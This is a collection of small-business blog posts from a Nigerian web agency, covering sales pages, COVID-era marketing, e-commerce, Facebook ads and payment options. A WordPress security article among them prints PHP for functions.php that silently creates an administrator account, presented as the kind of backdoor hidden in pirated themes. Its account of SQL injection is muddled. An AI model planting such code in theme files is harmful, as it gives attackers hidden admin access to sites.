Author: Elvistech

How to Create a Course Sales Page that Sales

How to Create a Course Sales Page that Sales

You have a course you want to sell, how are you going to convince people to buy it?

Unless you have a group of students waiting to open their wallets, no questions asked, you need to create a sales page for your course. This is the page online where you persuade your ideal student that your program is exactly what they want and need. And then you give them a place to register and pay for the course.

Sounds simple, right? Actually, creating your sales page is one of the most difficult challenges most course creators face.

That’s because you already know your program inside and out. You know what you’re going to teach people, what resources you’re going to provide, and what results students can expect. So, it’s easy to find yourself spending time explaining all the amazing features of the program.

One big mistake you can make when it comes to their sales page is focusing too much on ‘what’ the program covers, and not enough on ‘why’ students should care.

The other mistake you can make is assuming that your prospective students will just take your word for it. You know your course is going to help them, but you need to walk them through a story that leads them to the same conclusion.

Your visitors start out knowing nothing about your program, and as they learn more and more, your ideal student reaches the decision to sign up.

So, where do you start?

Below are 3 important steps to creating a high-converting course sales page:

Step 1: Identify Your Target Students
Step 2: Create Your Sales Page Content
Step 3: Apply Best Practices for Sales Page Design

STEP 1 – Identify Your Target Audience

Before you start writing any copy for your sales page, you need to drill down into your ideal student profile.

Who is your course aimed at and who is it not for? This is something you should have done when you first created your program, but it’s important to revisit your target audience and get in touch with them at an emotional level. Consider all of the following:

  • What is the primary pain or problem that your course addresses?
  • Why is this an issue for your audience? How do they feel about it?
  • How will their lives be different when the problem is gone?

STEP 2 – Create Your Sales Page Content

Include the 10 key elements that every sales page needs, using a flow that tells a story that leads to the natural decision to say yes, I want that.

  1. Headline – Short, Descriptive and Enticing
  2. Intro Video – Build credibility and engage
  3. Problem – Agitate- Solve – Tap into emotions, tell your story and give the solution.
  4. Course Description – Include overview, Benefits, Outcomes & Features
  5. Testimonial – Build credibility and trust (video testimonials works best)
  6. CTA Button & Pricing – Tell people what it’ll cost and what to do (Enroll Now)
  7. Guarantee – Allow fears and make it easy to say a yes
  8. Instructor Bio – tell them who you’re and why you’re qualified to teach, and include a headashot
  9. FAQs – Answer basic questions that are likely to be asked
  10. Footer – Keep it simple and include a privacy policy link and Terms & Conditions

STEP 3 – Apply Best Practices for Sales Page Design

Use a sales page building tool that has proven templates and then follow these principles:

  • Color – 3-4 maximum, including 1 accent color
  • Easy to Scan – Break up texts with sub-headings, bullets, whites space, lists
  • Big Images – Keep them relevant while spicing up your page
  • Headshots – Your own picture and for testimonials

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How Restaurants and Retailers Can Generate Leads and Sales Online

How Restaurants and Retailers Can Generate Leads and Sales Online

As a restaurant owner or a retailer, are you going to panic or prosper or panic? There are two choices when it comes to how to react to the current state of affairs. (If you are currently panicking, you can make the switch. I was a combination of meltdown/nervous breakdown before the calm took over.)

The good news is, while customers aren’t coming in and to go orders are down, you can still generate sales to provide cash flow right now. Here are some strategies you can implement immediately.

Pre-sell gift items

Give folks at home motivation to buy from you now. This not only generates more cash flow, which is super important, but ensures the customers come back in when your location reopens. Big, glaring asterisk on this one though. Don’t just ask your customers to buy. That only benefits you. At a time when many are worried about money and safety, you’ve got to make it worth their time and truly benefit them.

Offer free items like alcohol based hand sanitizer or face mask. You can also offer some discount of about ₦1,000 for every item purchased or for specific items like a ₦1,500 discount for items above ₦10,000 plus the free gifts of either an alcohol based hand sanitizer or face mask. Whichever one that won’t shake your profit much, but the offer has to be very attractive.

To get people to buy now, the incentive has to be so good they’d be hard-pressed to say no. Get this right and they will not only buy now, but will share it with others.

Contactless and transparent delivery

If you are a restaurant, instead of just offering takeout, opt for transparent and contactless delivery. First, set up a webcam in the kitchen where the food is prepped so your customers can see the safety and cleanliness measures you have taken. You can use Facebook Live to broadcast. Then for delivery, let the customers know when you are approaching via text, and instead of knocking on the door. No person-to-person contact needed.

For added buzz, offer a special incentive for delivery at this time. Like with your dinner order, get a second order you can give the kids for lunch the next day. (Let the mammas rejoice!) Retailers can offer delivery of the “item of the week” to your best local customers with an added gift certificate to use in-store once you reopen.

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Start a Facebook Live program

People are yearning for connection and community right now. Reach out to your tribe with a free video series via Facebook Live. Connect with them daily or weekly, offering updates, insights, your knowledge, trivia, etc. You do you. And don’t worry about being perfect. Everyone knows you are at home without fancy equipment or sets, so just be authentically you. It’s the perfect time to have imperfect progress on something new. 

Paid program via video

While people are stuck at home, there are ways to make money with your expertise. Offer a paid and interactive cooking class where you walk them through the steps of making a dish normally found only in your restaurant.

Retailers can offer a weekly shopping show where you display some of your customer favorites and viewers can make purchases that you’ll deliver to their door, or a private styling service done virtually, using the person’s closet at home to map out outfits. Get creative.

The most successful brands in history came out of times of turbulence because they didn’t copy what everyone else was doing. They got resourceful.

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Benefits of Working From Home in Nigeria and How to do it

Benefits of Working From Home in Nigeria and How to do it

Coronavirus & working from home in Nigeria

As the effects of Coronavirus (COVID-19) begin to be felt on Nigerian shores, more and more talk will be circulated about working from home and whole businesses moving to working remotely.

Elvistech are strong advocates of the ‘work from home’ model and in this blog we take a look at the benefits of letting your employees work from home, as well as a few considerations on how to make it work.

First up, we should definitely acknowledge that working from home isn’t for everyone – both individually or as a company. There are a ton of industries out there that survive on face to face contact (I’m not sure how well my hair cut would go over Skype!). There are also alot of individuals out there who thrive off the structure that an office environment or workplace will bring.  So with that in mind, the first thing to think about is whether you can complete all your day to day tasks without face to face interaction, and whether you’ll be able to do those tasks in a way where you stay productive. Even if you can manage some of those tasks from home at the moment, it could possibly benefit both yourself and your company in the long run. Here are our ‘pro’s’ for working from home:

The benefits of working from home or working remotely:

  • Work when you’re feeling productive: This is a big one for us. When you have a set work day, you assume that every individual will be at their most productive during those set periods. In reality that just isn’t the case. When working from home you quickly figure out when you are starting to lose productivity and the ability to pop out for a jog, or just put your work to the side for a little while can DRAMATICALLY increase your productivity on the other side. In our industry, developers and creatives in particular seem to be real night owls – and who are we to stop them sleeping in and starting late if they are getting the work done well.
  • Feel comfortable: From your lazy sweatpants to the air con being set on YOUR temperature, you can set yourself to be in an environment that is spot on making sure you are working at your best.
  • Efficiency, efficiency, efficiency: When everyone is working from home and you no longer have in person meetings, you become ruthlessly efficient with your time. You can still keep in touch with your clients and colleagues, but when it’s over the phone or on Skype you seem to get to the point much quicker. Office politics evaporate, and everyone seems to be more focused on the collective goal.
  • Keep on top of the rest of life: Having that nagging feeling that you need to hang the washing out shouldn’t be underestimated as a distraction at work. If you are working flexibly at home you can keep on top of all of the little things, easing stress levels, and ultimately making you a better worker.
  • No workmates – no distractions: One of the biggest pros from having a home office is the lack of colleagues being nearby for a ‘quick chat’ or distraction. There are plenty of different distractions, but at least you won’t get pulled away from what you are doing on someone else’s whim.
  • It’s a cheaper day to day: How much was that sub you brought for lunch yesterday? Or that coffee you grabbed mid afternoon. When you’re working from home your cost of living will inevitably dip – with your fridge nice and handy, last nights leftovers are that much more appealing.
  • Save time on the zero minute commute: Inevitably, if you are working in an office you have at least some sort of travel time to work. It’s incredibly satisfying being able to wake up, sit at your computer in your PJ’s and bang out an hour or twos work before anyone has even got to their office. That time saved up front is time that can be used on other work projects, or on your own personal activities later in the day.
  • Working remotely doesn’t have to mean working from home: If you love the travel life, then remote working lets you take your laptop and your work wherever you want to go (with an internet connection!). The satisfaction of having a regular income, completing tangible work, and being able to see the world is something that really helps people develop individually and as employees.
  • Stay healthy: This isn’t something we ever think about – but it’s one we just had to add on here given the current happenings globally!

How to work from home – and how it can be tricky

  • It’s all about that internet connection: This goes without saying. You need a solid internet connection and a well setup home office to be able to work well. That home office may be different for industry to industry, but it’ll include a laptop or computer and all the software you need.
  • Learn to love your phone: There has been a bit of a tenancy in recent years to vilify the idea of ‘taking work home with you’. We certainly know people who hate having a work phone, because it just lets them be contacted about work in their own time. You need to make a conscious shift when working from home and love that phone. Why? Because it means you can duck out to the shops in the middle of the day and still pick up your emails. It let’s you do your exercise mid afternoon, but stay on top of your work in the evening if needed. Your phone is your friend.
  • Be disciplined: They say the biggest enemies to working from home are the fridge, your bed and the TV. You have to set yourself some boundaries, acknowledging that when you are working, you are working. These don’t have to be super strict, but personally we tend to at least work within a set of hours each day. Sometimes when the creativity is blown and our productivity slumps, those distractions end up being a benefit for a half hour or so, but you’ve got to be careful not to slide down the slippery slope of procastination.
  • Set your goals: This is something that you should be doing in an office setting anyway, but it’s even more important when working from home. Have your to-do list – and do it. The sense of achievement you’ll get from that while working from home and also keeping on top of your home life is HUGE.
  • Find the right software: As a business, the biggest jump we had in productivity was finding the right software to manage workflows and keep up communication. From Slack to Monday.com, to Skype and GSuite, there are a ton of cloud based software options that improve your ability to keep a team on track while the work from different places. 
  • Figure out what works for you: The last, and probably most important tip from us is to try all the above, but to find what works best for your company and for you. You may want to hold a daily Skype meeting to make sure all your employees are on deck at a reasonable hour. You might need them to work between certain hours for certain reason. There are a plethora of individual considerations that you’ll want to think through before committing to working from home.


Above all else, in this chaotic time, business needs to keep rolling. Working from home might help your company just stay afloat, or it could end up being a way to see it flourish and become more profitable. Keep focusing on your online advertising, and remember your website design and web presence in a time where more and more people will be doing business from there computer and online.

​If you have any questions at all – don’t hesitate to contact us!

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Do I Need an E-commerce Website?

Do I Need an E-commerce Website?

Is e-commerce right for your business?

With Coronavirus seeing more and more individuals self isolating, the world of e-commerce is going to become increasingly important. Have you geared your business up to be able to sell your products or services online?

It’s fair to say that over the last decade the way that we do business has changed. The wealthiest company and man in the world has their entire business based around the concept of buying goods without ever having to step foot in a physical store. Gone are the days of needing a storefront and physical premise to run an effective business. The not so new, but ever more important frontier of digital business is becoming the driving factor to many companies profitability.

For New Nigerians, that spells opportunity. Whether you are an established business without an online presence, a new shop that hasn’t branched into e-commerce, or someone just starting out their journey – starting an e-commerce website could offer you a fantastically cost effective way to increase your bottom line. 

So what is e-commerce?
In it’s simplest form e-commerce is any online facility that lets consumers buy products or services online. This could be physical products, digital products (like books or videos), or even online services like video and skype consultations. The key component is that the offering is paid for through the website.

Why is e-commerce such a good option?
E-commerce can potentially open up a whole world of consumers to a company. Nigeria in particular has a fantastic reputation globally, so for some of our industries in particular e-commerce opens up overseas markets that absolutely love us. Coronavirus has proven that when something like a pandemic hits, brick and mortar day to day business is put at danger, while an opportunity opens up online as more consumers seek to have their goods and services delivered to their doorstep. It’s a trend that existed before this global health event, and it’ll be one that continues after it.

Can my business operate an e-commerce site?
The first thing you need to ask yourself is ‘do my products and services NEED to be performed in person’.

For most physical products, the answer will be absolutely not. If you can pick it up and hold it, chances are you can package it up and sell it online.

For intellectual services, your knee jerk reaction may also be ‘I can’t sell what I do online’ – but have a real think about that. Could you digitise your knowledge? Create a series of articles or videos that you could sell online? Could you run online seminars, or hold consultations via Skype or online? There is a huge amount of scope for growth in the majority of professional services businesses online.

And lastly that leaves those industries that rely on physically touching and seeing their consumers. Your physio’s, doctor’s and dentists for example. Obviously alot of your job will be based around in person consultation, however, you also hold alot of valuable knowledge that could be digitised. Doctors clinics are already looking at running video consultations for example.

What does it cost to do e-commerce?
Generally the cost of e-commerce will vary depending on the solution you go for. It would be rare for you to have hosting costs of less than about ₦10,000 per month, and inevitably if you take payment online, you’ll be paying a percentage of each sale to a payment gateway provider (around the 3-4% mark). There are obviously delivery costs to consider, and the initial cost of setting up or creating an e-commerce website. Our pricing starts from ₦45,000 for a website design – putting us at the lower end of what a website designer would charge for an e-commerce site. You can of course make a site yourself, but having a professional opinion can often pay dividends in the long run.

So why haven’t you got an e-commerce site yet?
If you’ve been thinking about it for a while, this Coronavirus scare might be just the prompt you need to get your e-commerce website underway. There is plenty of upside, and in times like these it’s important to look at how your business can adapt and improve. It’s never all doom and gloom, and where there is hardship, there is often opportunity for growth.

If sales slow, remember that a lot more people are going to be online as more self isolation occurs. Shift your focus to online advertising, and take any slow period as a chance to improve what your doing as a business. Your website design is a great place to start that.

Be sure to get in touch with us if you have any questions at all about an e-commerce website or anything online.

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Solution and How to Benefit From the Pandemic Coronovirus

Solution and How to Benefit From the Pandemic Coronovirus

Businesses and stock markets globally are struggling to stay afloat with the rapid spread of the coronavirus.

Millions of people under lockdown are now turning to digital means to continue with their daily life as the first stage of something like this is panic. It seems like the end of the world. But where there is a problem there is always a solution and where there’s a solution there’s always an opportunity.

E-commerce in particular will benefit as closings of physical stores & fear of public places should accelerate the secular shift of retail online, which we believe will prove sustainable even after the crisis ends. The coronavirus pandemic has sent global markets are reeling as investors brace for how the spread of the virus will hinder global growth.

Still, there are some bright spots in the market. E-commerce in particular will benefit as closings of physical stores & fear of public places should accelerate the secular shift of retail online, which we believe will prove sustainable even after the crisis ends.

People around the world have been told to practice social distancing to curb the spread of the virus. That’s meant cancelling trips, working from home, ordering food in, and stockpiling staples such as non-perishable food and toilet paper. As people increasingly look for the best ways to work and live in the confines of their homes.

If you are worried about your particular industry I’ve come up with a few ideas that may help you.

RESTAURANTS (Hardest hit)

You’re going to need to figure out how to thrive during this time with take out and delivery. Things you can do include:

  • Change your site to be more of an online menu.
  • Add lots of high res photos for each entree so people know what they’re ordering.
  • Give people the ability to add menu items to a cart and checkout with the click of a button.
  • Give people the ability to add their credit card and then be able to just re-order whenever they want something with one click.
  • Start an facebook campaign that shows people that you’re still open and you have plenty of food and that you can bring it to them.

REALTORS

  • Set up zoom meetings right from your site where you can walk people through properties by sharing a screen with them while they’re seeing your face on video.

MARKETING AGENCIES

If your clients are avoiding spending money on ads then now is the time to tell them they need to update their websites accordingly for this new virtual world we live in. Now is the time to advertise on facebook more than ever like the restaurant example above.

People are doing nothing but sitting on their computers at home. Facebook and Netflix are all a lot of people are doing. And ads are cheaper right now because of what’s going on.

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ONLINE COURSE CREATORS

Now is a fantastic time to get people that have ever considering taking the leap for an online business. The entire world is online right now and only a few of us can still make money while sitting at home in our pajamas.

LARGER CORPORATIONS

Now is a great time for companies to update their websites to work for all of their remote employees. Everything from online meetings right from their website, to having all of your forms accessible for people to fill out or download online to selling your products online.

E-COMMERCE

This should be a fantastic time for you right now. This is your Super Bowl. You should be doubling down right now and really getting your name out there. People are going to be sitting home for what could be months and they’re going to be bored and they’re going to start spending money for something to do.

FITNESS AND MARTIAL ARTS

Now is the time to set up online classes and do virtual classes! You can learn how to incorporate ZOOM right into your website and give classes and even one on one personal training.

CONSTRUCTION SERVICES

If you can’t go out and do jobs then maybe now is the time to add videos HOW TO’s to your website and give people tips on how to fix stuff. Have people add their name and email address in order to watch. Now you’re building a list you can market to once this is over.

LAWYERS

Now is the time to set up your websites so that you can facilitate meetings via zoom right from your home office.

CONSULTANTS

If your website isn’t up to par. Now is the time to make sure that it is and set it up so that it converts more customers.

Stay strong! 💪 This is our time to shine.

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Why You Should be Running Facebook Advert Now

Why You Should be Running Facebook Advert Now

We’re currently in an unusual landscape for social media ads: Events are being cancelled or postponed worldwide, companies have re-assessed their marketing budgets, and in the United States two billionaire politicians just ended their presidential campaigns (But not before together spending over $780 million on ads).

When advertising on Facebook, a more crowded queue of ads means less people see each ad, and our advertising dollars don’t stretch as far. Retailers and e-commerce advertisers know this well, as CPMs (“Cost per mille”, or the cost to reach 1,000 users) skyrocket during the holiday selling season.

That’s why a drop in demand can be good for brand visibility. Your advertising spend is likely to reach more users for the same price, and as businesses axe promotion to recoup cash, there is less competition for ad units, leaving you an opportunity to step in and capture a larger slice of market share.

Cooped up at home, consumers are spending more time at home and on their devices. Social media browsing is likely on the rise, and when it comes to time on platform, Facebook remains at the top of the mountain.

Here are 3 ways to adjust or step up your Facebook advertising as others pull back.

Explore the “Reach” campaign objective

Nestled in the “Awareness” campaign category is the option to optimize an ad campaign for reach. The campaign isn’t explicitly conversion-driven, but when ad units are less expensive, it’s a good time to widen your net and bring more people in at the top of the funnel.

If you use a video as your creative, a Reach campaign actually can be conversion-driven, because you’ll grow your audience of video viewers (users who watch a video for three seconds or more) and be able to run retargeting campaigns just to those who are interested.

Video viewers are a custom audience in the Facebook Business Manager, and custom audiences are what make Facebook ads so effective (and Facebook so lucrative as a company). These audiences’ behavior has proven that they’re interested, and remarketing to them can help you take some of the guesswork out of your efforts.

  • Lookalike audiences. These are the holy grail of custom audiences, in my opinion. These users are new to your business, but based on the 52,000 data points Facebook has, have historically behaved similarly to another audience you identify (users who like your page, for example, or past buyers).
  • Engagements. Users who have reacted with, commented on, or swiped through an ad (if using an image carousel or other multimedia placement) can be retargeted.
  • Website traffic. If users visit your business website and you have installed the Facebook pixel into your header code (there are loads of tutorials on this), you can get back in front of them through retargeting.
  • Email list uploads. You can upload a list of subscribers to Facebook for retargeting purposes. Facebook attempts to match email addresses to users. The success rate is wide here, ranging from 40 to 80%, but may be a smart strategy for you.

Test out new ads or variations in copy

Can you beat your control? There’s no better time to try than now.

A/B testing is a critical step in advertising optimization. As David Ogilvy once said, “On the average, five times as many people read the headline as read the body copy. When you have written your headline, you have spent 80 cents out of your dollar.”

For all you know, you could be getting leads for half the price with better copy or a more engaging image or video. But until you test it, you’ll never know whether your control really is the absolute best.

Use this less competitive time to experiment with different headline copy, images, videos, and even new ad formats, such as Stories ad placements or Canvas ad formats.

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Use slower times to crank out content

According to Demand Metric, 60 percent of consumers are inspired to seek out a product or service after consuming content about it.

If you’re wearing many hats in your business, though, it can be a challenge to stay consistent and continually produce new posts and articles for your audience.

Take advantage of quieter times by hunkering down and creating more “evergreen” content that applies to your business. Evergreen material can be used over and over again, and the benefits of content marketing build over time like a flywheel.

Projects to consider tackling could include

  • Cornerstone content. Also known as pillar content, this content is core to your business website, and is indicated as such when you publish, allowing search engines to more accurately crawl and recommend you. Take the time to create this detailed and informative content, then consider running ads to it to wow your audience.
  • A video series. It’s no secret that video marketing is on the rise. Video has multiple components though, from scripting to lighting to post-production. Consider batching some video production during a slow time, then slice out snippets to use for future advertising creative and content marketing.
  • More customization. Customization is again the hottest marketing trend of the year. Could you add in a retargeting ad after someone buys your product that just says, “Thank you?” Or give a shoutout to a local sports team or school that recently had a big achievement? Get specific and creative in your ads to ramp up brand affinity.

Advertising slots are precious real estate for building market share. Take advantage of newly freed-up inventory and you’ll develop a powerful asset for future revenue and business.

How to Prevent Your WordPress Website From Being Hacked

How to Prevent Your WordPress Website From Being Hacked

WordPress sites are often compromised by hackers who exploit vulnerabilities. In fact, there are around 90,000 attacks on WordPress sites every minute.

If they’re successful, they can use the website to run all kinds of malicious activities – steal customer data, sell illegal products, send spam emails, dupe customers into downloading malware – the list goes on.

For a website owner, getting hacked is not just bad news, it’s a nightmare! And it can happen to any site – big or small. It’s interesting to note that smaller sites think that hackers won’t come after them. But in reality, such sites are easy targets and are preferred by hackers.

If your site gets hacked, you have much to lose. Your customers won’t trust your site anymore, your sales and revenue will take a hit, and you could even be blacklisted by Google, and suspended by your WordPress web host.

If all this has you worried about your site’s security, we’ve got you covered. In this article, we’ll get behind the psychology of hackers and understand the ways in which they hack websites. After that, we’ll cover ways to neutralize them as well.

Before we begin to show you how and why hackers hack sites, you need to understand the structure of your WordPress website. It is made up of files and a database. WordPress files mostly contain all the settings and configurations, while the database stores all the data of posts, comments, users and a bunch of other things.

Both elements are required to generate the frontend of your website. But both can also be exploited by hackers.

First, let’s take a look at how hackers get inside WordPress sites.

Note: This is not a guide on how to hack a WordPress website. It is an educative article to show you how hackers can exploit vulnerabilities to hack your site. That said, let’s begin.

Vulnerabilities of WordPress Sites that Enable Hackers

To hack a website, it should have a point of vulnerability. We’ve listed out the common vulnerabilities found in WordPress websites:

1. Outdated WordPress Installation

Around 44% of hacked WordPress websites were running on outdated installations according to a 2018 report. As a website owner, you will see frequent updates available to the WordPress installation, like so:

Usually, updates carry new features, bug fixes, or resolve incompatibility issues. Sometimes, they also carry WordPress security patches. This means if a security flaw was found in the software, the developers quickly fix it and release an update that will remove the flaw.

Once released, the presence of a wp security flaw is made known to the public. Hackers then seek out websites that haven’t updated, find the flaw, and use it to hack into the site.

So if you choose not to update your WordPress installation, then you haven’t installed the new security features and you’ve given your website on a platter to the hackers.

Always keep your WordPress website updated. Tip: Security patches are rolled out as minor updates. You can tell if it’s a major update if it’s V5.2 or V5.3. A minor update would be V5.2.1, for example. By default, minor updates are automatic, but you can turn it off. We recommend keeping the auto-updates option turned on for minor updates.

2. Weak Credentials

Another common point of entry for hackers is weak credentials. Hackers use a method called brute force attacks where they program bots to scan the for WordPress sites on the internet and attempt different combinations of usernames and passwords to break into the website.

If you’ve left your login name as ‘admin’, they’re already one step closer to gaining access to your site. However, if you’ve used common passwords like ‘password123’, then it’s easy for them to guess it. These bots can make thousands, if not millions of hacking attempts in just a second.

We recommend changing the password to a passphrase in combination with numbers and symbols to make your password strong as ever like so:

3. Pirated Themes

Premium themes are attractive and we’d all love to have a great theme for our website to make it unique. Many times website owners fall prey to free, cracked or pirated versions of these themes. Such themes from unreliable sources can carry pre-installed malware. By installing it on your WordPress website, you also install the malware. This opens the door to hackers. We’ve detailed how this happens later.

Always download themes only from reputable sources such as the WordPress repository or marketplaces like ThemeForest and ThemeTrust.

4. Plugins

Hackers are constantly on the prowl to find gaps in the security of plugins. If they find one, they’ll scan the internet for WordPress sites that have the plugin installed. This enables them to hack into thousands of websites in a matter of minutes.

Many times, especially with free plugins, developers may find that they can’t maintain it any more and abandon the plugin. (This can also happen with themes). In these cases, the security of the plugin will lapse and having it installed on your site poses a threat.

Download plugins only from trusted sources such as the WordPress repository or CodeCanyon. Regularly delete WordPress plugins and themes you don’t use any more. Check the status of the plugins you do use to see if they’re being updated and maintained by the developer.

5. Local system

Sometimes, it may be your computer itself that’s not secure. If someone hacks into your system, they can easily access your WordPress site because in most cases, the wp-admin is already logged in and open.

This can happen if you don’t have a firewall or anti-malware tool installed on your system.

It’s recommended that you never use a public computer or public unsecured wifi connection on your local system which you use to run your WordPress website. Always keep malware detection tools active on your site.

6. Web hosting providers

While choosing a hosting plan, we tend to look for the cheapest one. But the cheapest doesn’t always guarantee good security measures.

Shared servers may be cheaper but they also put your site at risk. You can’t tell which sites you share a web server with and whether they’ve implemented security protocols. If they get hacked, there are chances the malware infection can spread to your site as well.

There are also times when website hosts are compromised which means all websites on the hosting platform are exposed for hackers to exploit.”

Before choosing a web host, read up on what they offer and what customers have to say about them. This will help you get a good idea of which web host to choose.

To find a vulnerable site, hackers create their own bots or use free vulnerability scanners available online to comb through the internet. When they find one, they’ll exploit the security flaw it has (like the ones mentioned above) to get access to the files or database of the WordPress website.

Then, they inject code that will execute malicious activities such as sending spam emails, selling illegal products, etc. They also inject code to create new user accounts or WordPress backdoors that will help them regain access to your site any time they want.

How to Hack a WordPress Site?

There are innumerable ways to hack into a WordPress site. Here, we’ll discuss two of the most common ways hackers inject code into your website to create a new user login:

I. Through Files – Pre-installed malware in a pirated theme

As we discussed earlier, many WordPress site owners fall prey to pirated themes. You get all the features for free! But such software can have a script to create a new login ID. Once you install the theme, the new user account gets created and the hacker can simply log into your website from WordPress admin.

We’re going to show you how you can create a new user account on your WordPress website using your theme file. This will help you understand how pirated themes help a hacker get access to your site.

Tip: This can also come in handy if you’re locked out of your wp-admin but still have access to your web hosting account.

Caution:

Going behind the scenes of a WordPress site is a risky affair. It’s best to do this on a test or staging site. If you choose to do it on your live site, please ensure you take a reliable backup. In case something goes wrong, you can restore your WordPress backup.

1. Login to your WordPress hosting account. Go to cPanel and access the File Manager.

 

You can also access files through an FTP client like FileZilla using FTP credentials.

2. Your WordPress files usually reside in a folder called public_html. Inside it, you can access wp_content/themes.

3. Here, you need to choose the active theme on your website and edit the functions.php.

4. Copy and paste the following code at the end of the file. (If there is a closing tag like so ?>, make sure the code comes on the line before this.)

$new_user_email = 'email@example.com';

$new_user_password = 'password';

if(!username_exists($new_user_email)) {

$user_id = wp_create_user($new_user_email, $new_user_password, $new_user_email);

wp_update_user(array('ID' => $user_id, 'nickname' => $new_user_email));

$user = new WP_User($user_id);

$user->set_role('administrator');

}

Edit the first two lines to the email and password of your choice. Once you save the file and open your website, the code will run and you can log in using these new credentials.

We hope now you understand that when you install a pirated theme if it has this block of code, a new user account will be created. All the hacker has to do is enter the credentials and log in.

II. Through Database – SQL Injection

This is another one of the most common reasons why WordPress sites get hacked. To begin, you need to know two things about SQL injections:

    • WordPress uses MySQL as the default database system.
    • In order to generate the frontend of a website, WordPress uses SQL queries to pull data from the database.

We don’t have to worry about what this is or the details of it for now. What you need to know is that this database is accessible only through cPanel > phpMyAdmin. But hackers find ways to access it without using cPanel. One of the most common ways hackers contact a site’s database is through vulnerable forms on a website.

A form is any element where text can be entered such as the WordPress login bar, contact form, WordPress blog comments, subscription pops, checkout pages, and the site search bar.

Instead of entering the details asked in the form, the hacker would enter their malicious SQL commands. As all information entered into the form gets stored in your database, this malicious code will find its way in.

To explain how this happens, we’re going to show you how to create a new user account using your database.

Creating New User Account Through Database

1. Access cPanel and open phpMyAdmin > Databases.

2. Here, you’ll see a list of databases. You need to select your database. (If you don’t know your database name, you can find out this information in your wp-config, like so).

We’ve selected the database according to the name in the wp-config file.

3. Next, from the tables that populate on the right panel, you need to find the table that ends in _users (It will most likely be named wp_users).

4. Here, you can click on ‘Insert’.

5. It will open up the following screen where you can enter the user login name, password, email and display name.

6. Next, click on ‘Go’ and your changes will be saved. Now you can login to WordPress using the new credentials.

The same can be done by inserting a block of SQL code into the database. Similar to the pirated theme, once the code enters the database, it will run and a new user will be created. We can think of it as a hacker simply creating their own door in your home and walking right in.

How To Stop Hackers From Hacking Your Website?

There are four main steps you need to take in order to make your site secure enough to keep hackers at bay:

1. Install an SSL certificate

This certificate will provide your website with data encryption. What this means is that when someone visits your website, data is transferred between their computer and your website’s server.

If it is transferred in plain text, sometimes hackers who are lurking around can grab that data. They can read it, steal it or modify it to their liking.

But if its encrypted, even if a hacker gets a hold of it, they won’t be able to decipher it.

You can get an SSL certificate from your web host or from an SSL provider. If you’re worried about spending too much on a certificate, providers like LetsEncrypt offer free SSL.

2. Fix known vulnerabilities

As we mentioned earlier, there are common vulnerabilities in WordPress. We recommend that you take the following measures to minimize vulnerabilities.

    • Updating WordPress and its themes and plugins must be top priority.
    • Ensure you always use strong login credentials to avoid brute forcing attacks.
    • Regularly delete unused themes and plugins
    • Never ever use pirated themes and plugins. Always download such software from trusted sources like the WordPress repository, CodeCanyon or ThemeForest.
    • Use a reliable web hosting service provider.
    • Keep your local computer protected by installing anti-malware software.

3. Install a WordPress Security Plugin

Every WordPress website needs a security plugin such as MalCare. Protect your WordPress site with such a plugin that will scan the website regularly. It will spot any suspicious activity, block malicious traffic and keep hackers out. In the event a hacker does get in, you’ll be alerted immediately and you can clean your website instantly before they can do any damage.

4. Harden your WordPress site

WordPress recommends that every website on their platform takes certain steps to harden their sites. Some of these measures include:

    • Keep an active WordPress firewall. This will help block Limiting the number of login attempts. Every user gets only three chances to enter the credentials correctly, after which they will have to opt for ‘Forgot password’ or contact the admin. You can use the same MalCare plugin to implement this step.
    • Disabling plugin installations in case you have multiple users working on the website. You would want to ensure no one installs a plugin freely without checking if they are reliable and trustworthy to have your site. This can be done manually by editing a file called wp-config.php in your WordPress install. You can also use the MalCare plugin for this.
    • Implementing 2-factor authentication to verify the person logging in. This is done by sending a one-time password to the registered mobile or email, or by using apps like Google Authenticator that generate a real-time password every 30 seconds.

There are many more ways in which you can harden your website. It’s recommended to implement these steps as per your website’s requirements.

Concluding Thoughts

We hope this article has given you a better understanding of how vulnerabilities can appear on your website and how hackers get in. Hackers aren’t biased and will target just about any site. If your site is vulnerable, there’s a really good chance that you’ll be hacked.

So to sum up, we recommend minimizing vulnerabilities, installing a security plugin and hardening your website so that hackers don’t stand a chance of getting into your website.

4 Payment Methods To Consider For Your Online Store

4 Payment Methods To Consider For Your Online Store

It’s always a good idea to give people options. In e-Commerce, especially in Nigeria, it’s very important to have multiple payment options for your online business. In this post, we will be sharing with you 4 standard payment methods that you can use for your e-commerce website.

1. Bank Transfer

This is the most popular payment option in Nigeria.

This payment option allows your customers to pay directly into your bank account after placing their orders.

This payment method is especially useful for customers that aren’t comfortable paying with their cards.

Bank transfer has also been made easy by banks – customers can easily transfer the money via USSD code or internet banking.

2. Online (Card) Payment

Businesses love this option!

Instead of having to follow-up on customers that chose the ‘Bank transfer’ option, here, customers just complete the entire transaction online.

Of course, for this to work, you must have at least one online payment gateway integrated on your website. There’s nothing wrong with having more than one.

3. E-wallet

This one isn’t so popular, but is very useful for both customers and business owners.

An e-wallet enables customers have some funds stored in their ‘account’ on your website. Whenever they place an order, the cost is then simply deducted from their ‘wallet’.

This option is convenient for customers that make a lot of repeat purchases in that they don’t have to make payments each time.

For businesses, this is particularly useful for handling returns; instead of sending the money back, you can simply credit the customer’s wallet, so they can use in when next they order.

4. Cash on Delivery

Businesses do not like this option, but customers do!

Cash on Delivery, as the name implies, means your customer will pay in cash (or with POS) when their orders have been delivered to them.

They won’t be required to make payment on your website but in person.

A lot of people aren’t comfortable shopping online because of internet frauds and scammers, so “cash on delivery” payment option is safer and secure as they get to see the products they ordered for before making payments.

The drawback for businesses, however, is that even customers that aren’t ready to purchase use this option, causing waste of time (and money) for the business owner.

In conclusion…

We’ve shared the 4 standard payment methods you can consider for your online store.

You can use one or more of these payment methods. We recommend you have at least two options. Simply determine the payment methods your customers prefer, and what works best for you as a business.

Are you interested in discussing how we can help you with e-commerce development or Digital Marketing? Contact Us today.

Do you have questions or comments concerning Sales or Digital Marketing? Feel free to leave a reply below.

5 Delivery Options To Consider For Your Online Store

5 Delivery Options To Consider For Your Online Store

So, your customers visit your online store, browse through your products, add desired products to the cart, and are ready to checkout and make payment using any of the available payment options.

One of the major turn-offs at this point is the delivery option on your online store. This can make your customers abandon their carts if their desired delivery option(s) is/are not available, too expensive or not hassle-free.

It is important to provide your customers with affordable delivery options as you don’t want them to abandon their shopping cart. Hence, we thought to share 5 delivery options to consider for your online store.

1. Pickup From Your Store

With an option to pick ordered products up from your store, your customers no longer have to wait for the orders to arrive in a few days to start using it.  They can pick up their order from the store at their convenience. They will no longer have to pay the high shipping charges associated with same-day shipping or otherwise.

